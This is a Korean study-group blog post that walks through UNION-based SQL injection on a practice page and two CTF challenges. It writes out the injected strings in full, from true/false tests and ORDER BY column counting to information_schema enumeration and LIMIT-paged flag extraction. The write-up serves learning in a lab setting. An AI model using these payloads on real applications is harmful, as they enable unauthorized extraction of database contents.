[취업반 스터디 2달 2주차: 과제]

Minseok Jo·2023년 11월 30일
post-thumbnail

2달차 2주차 과제는 다음 4가지와 같다.

  1. 복습 (SQL Injection: UNION Based)
  2. 실습 페이지에서 doldol 데이터만 출력하기
  3. CTF 문제 풀기
  4. 웹 개발
    +로그인
    + 회원가입
    + 마이페이지
    + 게시판

1번 복습 내용은 "스터디 정리" 카테고리에 기록해두었다.
따라서 2번 과제부터 정리하였다.


1. doldol의 데이터만 출력하기

(1) 실습 페이지는 다음과 같다.(2) 비밀번호 1234 입력
파라미터로 비밀번호를 입력받는다.해당되는 비밀번호의 유저 정보가 출력된다.

(3) SQL 쿼리 추측(4) SQL Injection 취약점 확인
select * from (테이블) where pass=''
and 1=1 (참조건)으로 값을 입력한 결과, 데이터가 출력되었다.
실행된 쿼리: select * from (테이블) where pass='1234' and '1'='1'
따라서 SQL Injection 취약점을 확인하였다.

(5) or 연산으로 모든 데이터 출력(6) 첫번째 행(doldol)의 데이터만 출력
or 1=1 으로 값을 입력한 결과, 모든 데이터가 출력되었다.
실행된 쿼리: select * from (테이블) where pass='1234' or '1'='1'
limit 구문을 사용하여 나열된 4개의 행 중에서 첫번째만 출력되도록 하였다.
실행된 쿼리: select * from (테이블) where pass='1234' or '1'='1' limit 0,1 #'

이렇게 첫번째 과제인 'doldol의 데이터만 출력' 과제가 완료되었다.


2. CTF 문제 풀기

앞서 정리하였던 8단계의 절차를 따라 작성하였다.

[SQL Injection 1 문제]

주어진 문제는 다음과 같다.


1) SQL 쿼리 추측
파라미터를 넣어보며 SQL 쿼리를 추측한다.

(1) CTF 페이지는 다음과 같다.

(2) ID를 입력하면 정보가 출력된다.

위의 결과를 보았을때, SQL 쿼리를 다음과 같이 추측해볼 수 있다.

select * from (테이블) where UserId = '아이디';

그런데, ID의 일부만 검색해도 똑같이 정보가 출력되는 것을 볼 수 있다.

'bell' 만 검색

따라서 SQL 쿼리를 다시 추측해볼 수 있다.

select * from (테이블) where UserID like '%아이디%';


2) SQL Injection 취약점 확인
참조건 / 거짓조건을 추가하여 결과가 다른것을 확인함으로써, SQL Injection 취약점이 존재하는지 확인한다.

and 1=1 (참조건) 으로 파라미터 전달SQL 쿼리
완성되는 쿼리: select * from (테이블) where UserID like '%bell%' and '1%'='1%'

쿼리 재구성: select * from (테이블) where (UserID like '%bell%') and ('1%'='1%')

and 1=2 (거짓 조건) 으로 파라미터 전달SQL 쿼리
완성되는 쿼리: select * from (테이블) where UserID like '%bell%' and '1%'='2%'

쿼리 재구성: select * from (테이블) where (UserID like '%bell%') and ('1%'='2%')

참조건에서 bell%' and '1%'='1 이라는 ID가 들어가는 아이디는 존재하지 않음에도 불구하고 그 결과가 출력되며, 거짓조건으로 전달하게 되면 그 결과가 출력되지 않는다.
따라서 현재 AND 구문이 연산되고 있으며 즉, SQL Injection 취약점이 존재한다는 것을 확인할 수 있다.



3) 컬럼 개수 찾기
UNION 구문을 사용하기 위해서는 선행되는 select 문과, 통합되는 select 문의 컬럼 개수가 일치해야 한다.
따라서 order by 구문을 통해 선행되는 select 절의 컬럼개수를 찾아낸다.

order by 4SQL 쿼리
완성되는 쿼리: select * from (테이블) where UserID like '%bell%' order by 4 #%'

쿼리 재구성: select * from (테이블) where (UserID like '%bell%') order by 4

order by 5 (5번째 인덱스의 컬럼을 기준으로 정렬)SQL 쿼리
완성되는 쿼리: select * from (테이블) where UserID like '%bell%' order by 5 #%'

쿼리 재구성: select * from (테이블) where (UserID like '%bell%') order by 5

order by 1~4 를 실행하였을때는 결과가 정상 출력되었고, order by 5부터는 오류가 발생하였다.
따라서 인덱스 5번째의 컬럼은 존재하지 않으며, 이를 통해 선행되는 select 절의 컬럼 개수가 4개인 것을 알 수 있다.



4) 데이터 출력위치 찾기
UNION 연산을 통해 어떤 컬럼이 화면에 출력되는지 확인한다.

UNION을 통해 데이터 추가 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where UserID like '%-%' union select 1, 2, 3, '4%'

쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where (UserID like '%-%') union select 1, 2, 3, '4%'

모든 컬럼의 자리가 페이지에 출력되며, 아무 곳에 원하는 데이터를 출력해주면 된다.



5) 데이터베이스 이름 찾기
결과 값이 보여지는 자리에 데이터베이스 이름이 출력되도록 한다.
데이터 베이스의 이름을 출력하는 명령은 다음과 같다.

select database()
1번자리에 데이터베이스 이름 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where UserID like '%-%' union select database(), 2, 3, '4%'

쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where (UserID like '%-%') union select database(), 2, 3, '4%'

이로써 1번 자리에 출력된 데이터베이스 이름 (sqli_1)을 찾아내었다.



6) 테이블 이름 찾기
결과 값이 보여지는 자리에 테이블 이름이 출력되도록 한다.
테이블의 이름을 출력하는 명령은 다음과 같다.

select table_name from information_schema.tables where table_schema='DB이름'
1번자리에 테이블 이름 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where name like '%-%' union select table_name, 2, 3, 4 from information_schema.tables where table_schema='sqli_1'#%'

쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) (where name like '%-%') union select table_name, 2, 3, 4 from (information_schema.tables) where (table_schema='sqli_1')

이로써 1번 자리에 출력된 테이블 이름 (flag_table, user_info)을 찾아내었다.



7) 컬럼 이름 찾기
결과 값이 보여지는 자리에 컬럼 이름이 출력되도록 한다.
컬럼 이름을 출력하는 명령은 다음과 같다.

select column_name from information_schema.columns where table_name='테이블 이름'
1번자리에 컬럼 이름 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where name like '%-%' union select column_name, 2, 3, 4 from information_schema.columns where table_name='flag_table'#%'

쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) (where name like '%-%') union select column_name, 2, 3, 4 from (information_schema.columns) where (table_name='flag_table')

이로써 1번 자리에 출력된 secret 테이블의 컬럼 이름 (flag)을 찾아내었다.



8) 데이터 추출
테이블명과 컬럼명을 모두 알아냈으므로, 원하는 데이터를 추출한다.

select (컬럼) from (테이블)
1번자리에 데이터 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) where name like '%-%' union select flag, 2, 3, 4 from flag_table #%'

쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4) from (테이블) (where name like '%-%') union select flag, 2, 3, 4 from flag_table

이로써 1번 자리에 출력된 플래그를 찾아내었다.




[SQL Injection 2 문제]

주어진 문제는 다음과 같다.


1) SQL 쿼리 추측
파라미터를 넣어보며 SQL 쿼리를 추측한다.

(1) CTF 페이지는 다음과 같다.

(2) ID를 입력하면 정보가 출력된다.

위의 결과를 보았을때, SQL 쿼리를 다음과 같이 추측해볼 수 있다.

select * from (테이블) where UserId = '아이디';


2) SQL Injection 취약점 확인
참조건 / 거짓조건을 추가하여 결과가 다른것을 확인함으로써, SQL Injection 취약점이 존재하는지 확인한다.

and 1=1 (참조건) 으로 파라미터 전달SQL 쿼리
완성되는 쿼리: select * from (테이블) where UserID = 'normaltic' and '1'='1'

쿼리 재구성: select * from (테이블) where (UserID = 'normaltic') and ('1'='1')

and 1=2 (거짓 조건) 으로 파라미터 전달SQL 쿼리
완성되는 쿼리: select * from (테이블) where UserID = 'normaltic' and '1'='2'

쿼리 재구성: select * from (테이블) where (UserID = 'normaltic') and ('1'='2')

참/거짓 조건을 통해 AND 구문이 연산되고 있다. 즉, SQL Injection 취약점이 존재한다는 것을 확인할 수 있다.

추가적으로 ID부분에는 입력값이 연산되지 않고, 바로 출력되고 있다.
따라서, ID 부분은 데이터 출력으로 활용할 수 없다고 판단할 수 있다.



3) 컬럼 개수 찾기
UNION 구문을 사용하기 위해서는 선행되는 select 문과, 통합되는 select 문의 컬럼 개수가 일치해야 한다.
따라서 order by 구문을 통해 선행되는 select 절의 컬럼개수를 찾아낸다.

order by 6SQL 쿼리
완성되는 쿼리: select * from (테이블) where UserID = 'normaltic' order by 6 #'

쿼리 재구성: select * from (테이블) where (UserID = 'normaltic') order by 6

order by 7 (7번째 인덱스의 컬럼을 기준으로 정렬)SQL 쿼리
완성되는 쿼리: select * from (테이블) where UserID = 'normaltic' order by 7 #'

쿼리 재구성: select * from (테이블) where (UserID = 'normaltic') order by 7

order by 1~6 를 실행하였을때는 결과가 정상 출력되었고, order by 7부터는 오류가 발생하였다.
따라서 인덱스 7번째의 컬럼은 존재하지 않으며, 이를 통해 선행되는 select 절의 컬럼 개수가 6개인 것을 알 수 있다.



4) 데이터 출력위치 찾기
앞서 찾은 컬럼의 개수는 6개인데, 화면상에서는 4개의 컬럼(ID, Level, Rank Point, Info) 만이 보인다.
따라서 UNION 연산을 통해 어떤 컬럼이 화면에 출력되는지 확인한다.

UNION을 통해 데이터 추가 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4, 컬럼5, 컬럼6) from (테이블) where UserId = 'normaltic' union select 1, 2, 3, 4, 5, '6'

쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4, 컬럼5, 컬럼6) from (테이블) where (UserId = 'normaltic') union select 1, 2, 3, 4, 5, '6'

그런데 여전히 참조건이 완성되어 페이지에 결과는 출력이 되나, 출력값이 변하는 부분이 없었다.
따라서 normaltic 이 아닌, 다른 유저로 다시 데이터 위치를 출력해보았다.

UserID를 없는 값으로 변경하여 시도SQL 쿼리
완성되는 쿼리: select (컬럼1, 컬럼2, 컬럼3, 컬럼4, 컬럼5, 컬럼6) from (테이블) where UserId = '-1' union select 1, 2, 3, 4, 5, 6#'

쿼리 재구성: select (컬럼1, 컬럼2, 컬럼3, 컬럼4, 컬럼5, 컬럼6) from (테이블) where (UserId = '-1') union select 1, 2, 3, 4, 5, 6

UserID가 존재하는 경우) Info에 미리 작성된 글이 출력되며, union 으로 통합한 부분은 보이지 않는다.
UserID가 존재하지 않는 경우) Info 부분에 union으로 통합한 부분 중 6 만이 출력되었다.

이 2가지 경우를 통해서 UserID가 없는 경우 통합한 select 절 하나만 출력된 것이고,
UserID가 존재한 경우 기존 데이터 + 통합된 데이터가 불러와지지만, 첫번째 행만 출력되도록 설정되어 기존 데이터만 출력된 것으로 추측해볼 수 있다.
또한 주석을 사용하였음에도 limit 처리가 여전히 적용되는 것을 보아, limit 절은 개행 등의 이유로 주석의 영향을 받지 않음을 추측해볼 수 있다.

따라서 앞서 추측한 쿼리를 다시 한번 추측해볼 수 있다.

select (컬럼1, ..., 컬럼 6) from (테이블) where UserID='아이디'
limit 0,1

페이지에는 오직 한 행만이 출력되므로 여러 테이블 값이나 컬럼을 모두 출력하기 위해서는, 공격자가 삽입하는 SQL 구문에 limit를 추가하여 첫번째 이후의 행을 일일히 선택해주어야 할 것으로 생각해볼 수 있다.



5) 데이터베이스 이름 찾기
결과 값이 보여지는 자리에 데이터베이스 이름이 출력되도록 한다.
데이터 베이스의 이름을 출력하는 명령은 다음과 같다.

select database()
6번자리에 데이터베이스 이름 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where UserID = '-1' union select 1, 2, 3, 4, 5, database()#' '\n' limit 0, 1

쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) where (UserID = '-1') union select 1, 2, 3, 4, 5, database() limit 0, 1

이로써 6번 자리에 출력된 데이터베이스 이름 (sqli_5)을 찾아내었다.



6) 테이블 이름 찾기
결과 값이 보여지는 자리에 테이블 이름이 출력되도록 한다.
테이블의 이름을 출력하는 명령은 다음과 같다.

select table_name from information_schema.tables where table_schema='DB이름'
6번자리에 테이블 이름 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema='sqli_5' '\n' limit 0, 1

쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union select 1, 2, 3, 4, 5, table_name from (information_schema.tables) where (table_schema='sqli_5') limit 0,1

이로써 6번 자리에 출력된 테이블 이름 (flag_honey)을 찾아내었다.
그러나, limit에 의해 출력되지 않은 추가적인 테이블이 있는지 확인해보았다.

limit 1,1SQL 쿼리
완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema='sqli_5' limit 1, 1#' '\n' limit 0, 1

쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union select 1, 2, 3, 4, 5, table_name from (information_schema.tables) where (table_schema='sqli_5' limit 1,1) limit 0,1

limit 2,1SQL 쿼리
완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema='sqli_5' limit 2, 1#' '\n' limit 0, 1

쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union select 1, 2, 3, 4, 5, table_name from (information_schema.tables) where (table_schema='sqli_5' limit 2,1) limit 0,1

이렇게 limit 구문을 통해 다음행을 출력해본 결과, 2개의 추가적인 테이블(game_user, secret)을 알아냈다.



7) 컬럼 이름 찾기
결과 값이 보여지는 자리에 컬럼 이름이 출력되도록 한다.
컬럼 이름을 출력하는 명령은 다음과 같다.

select column_name from information_schema.columns where table_name='테이블 이름'
6번자리에 컬럼 이름 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name='flag_honey'#' '\n' limit 0, 1

쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union 1, 2, 3, 4, 5, select column_name from (information_schema.columns) where (table_name='flag_honey') limit 0, 1

이로써 6번 자리에 출력된 flag_honey 테이블의 컬럼 이름 (flag)을 찾아내었다.
추가로, secret 테이블의 컬럼이름도 찾아보았다.

6번자리에 컬럼 이름 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, column_name from information_schema.columns where table_name='secret'#' '\n' limit 0, 1

쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union 1, 2, 3, 4, 5, select column_name from (information_schema.columns) where (table_name='secret') limit 0, 1

6번 자리에 출력된 secret 테이블의 컬럼 이름 (flag)를 찾아내었다.



8) 데이터 추출
테이블명과 컬럼명을 모두 알아냈으므로, 원하는 데이터를 추출한다.

select (컬럼) from (테이블)
6번자리에 데이터 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, flag from flag_honey #' '\n' limit 0, 1

쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union select 1, 2, 3, 4, 5, flag from flag_honey limit 0, 1

그런데 플래그는 여기 없다는 Info 글이 출력되었다.
따라서 아까 추가로 찾은 secret 테이블의 flag 컬럼을 찾아보았다.

6번자리에 데이터 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, flag from secret #' '\n' limit 0, 1

쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union select 1, 2, 3, 4, 5, flag from secret limit 0, 1

그런데 이번에도 플래그가 출력되지 않았다.
따라서 이번에도 limit 구문을 사용하여 첫번째 행 이후의 컬럼 데이터를 출력해보았다.

6번자리에 데이터 출력SQL 쿼리
완성되는 쿼리: select (컬럼1, ..., 컬럼6) from (테이블) where name = '-1' union select 1, 2, 3, 4, 5, flag from secret limit 1, 1#' '\n' limit 0, 1

쿼리 재구성: select (컬럼1, ..., 컬럼6) from (테이블) (where name = '-1') union select 1, 2, 3, 4, 5, flag from secret (limit 1, 1) limit 0, 1

이로써 6번 자리에 출력된 플래그를 찾아내었다.


이렇게 두번째 과제인 'CTF 문제 풀기' 과제가 완료되었다.

0개의 댓글